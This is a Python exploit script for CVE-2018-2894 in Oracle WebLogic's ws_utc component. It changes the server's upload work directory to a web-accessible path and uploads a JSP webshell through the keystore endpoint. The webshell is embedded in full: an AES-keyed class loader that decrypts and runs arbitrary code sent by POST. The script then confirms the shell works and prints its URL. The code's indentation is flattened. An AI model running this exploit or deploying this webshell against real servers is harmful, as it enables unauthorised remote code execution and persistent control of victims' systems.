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import re
import sys
import time
import argparse
import requests
import traceback
import xml.etree.ElementTree as ET
def get_current_work_path(host):
geturl = f"{host}/ws_utc/resources/setting/options/general"
ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'}
values = []
try:
request = requests.get(geturl)
if request.status_code == 404:
exit(f"[-] {host} don't exists CVE-2018-2894")
elif "Deploying Application".lower() in request.text.lower():
print("[*] First Deploying Website Please wait a moment ...")
time.sleep(20)
request = requests.get(geturl, headers=ua)
if "</defaultValue>" in request.content.decode():
root = ET.fromstring(request.content)
value = root.find("section").find("options")
for e in value:
values.extend(
sub.text
for sub in e
if e.tag == "parameter" and sub.tag == "defaultValue"
)
except requests.ConnectionError:
exit(f"[-] Cannot connect url: {geturl}")
if values:
return values[0]
print("[-] Cannot get current work path\n")
exit(request.content)
def get_new_work_path(host):
origin_work_path = get_current_work_path(host)
works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css"
if "user_projects" in origin_work_path:
if "\\" in origin_work_path:
works = works.replace("/", "\\")
current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains"
dir_len = len(current_work_home.split("\\"))
domain_name = origin_work_path.split("\\")[dir_len]
current_work_home += "\\" + domain_name + works
else:
current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains"
dir_len = len(current_work_home.split("/"))
domain_name = origin_work_path.split("/")[dir_len]
current_work_home += f"/{domain_name}{works}"
else:
current_work_home = origin_work_path
print(f"[*] cannot handle current work home dir: {current_work_home}")
return current_work_home
def set_new_upload_path(host, path):
data = {
"setting_id": "general",
"BasicConfigOptions.workDir": path,
"BasicConfigOptions.proxyHost": "",
"BasicConfigOptions.proxyPort": "80"}
request = requests.post(f"{host}/ws_utc/resources/setting/options", data=data, headers=headers)
if "successfully" in request.content.decode():
return True
print("[-] Change New Upload Path failed")
exit(request.content)
def upload_webshell(host, uri):
set_new_upload_path(host, get_new_work_path(host))
files = {
"ks_edit_mode": "false",
"ks_password_front": password,
"ks_password_changed": "true",
"ks_filename": ("test.jsp", upload_content)
}
request = requests.post(host + uri, files=files)
response = request.text
if match := re.findall("<id>(.*?)</id>", response):
tid = match[-1]
shell_path = f"{host}/ws_utc/css/config/keystore/{str(tid)}_test.jsp"
if "test" in requests.get(shell_path, headers=headers).content.decode():
print(f"[+] {host} exists CVE-2018-2894")
print(f"[+] Check URL: {shell_path} ")
else:
print(f"[-] {host} don't exists CVE-2018-2894")
else:
print(f"[-] {host} don't exists CVE-2018-2894")
if __name__ == "__main__":
start = time.time()
password = "test"
url = "/ws_utc/resources/setting/keystore"
parser = argparse.ArgumentParser()
parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str,
help="target, such as: http://example.com:7001")
upload_content = '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%><%out.println("test");%>'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest', }
if len(sys.argv) == 1:
sys.argv.append('-h')
args = parser.parse_args()
target = args.target
target = target.rstrip('/')
if "://" not in target:
target = f"http://{target}"
try:
upload_webshell(target, url)
except Exception as e:
print("[-] Error: \n")
traceback.print_exc()
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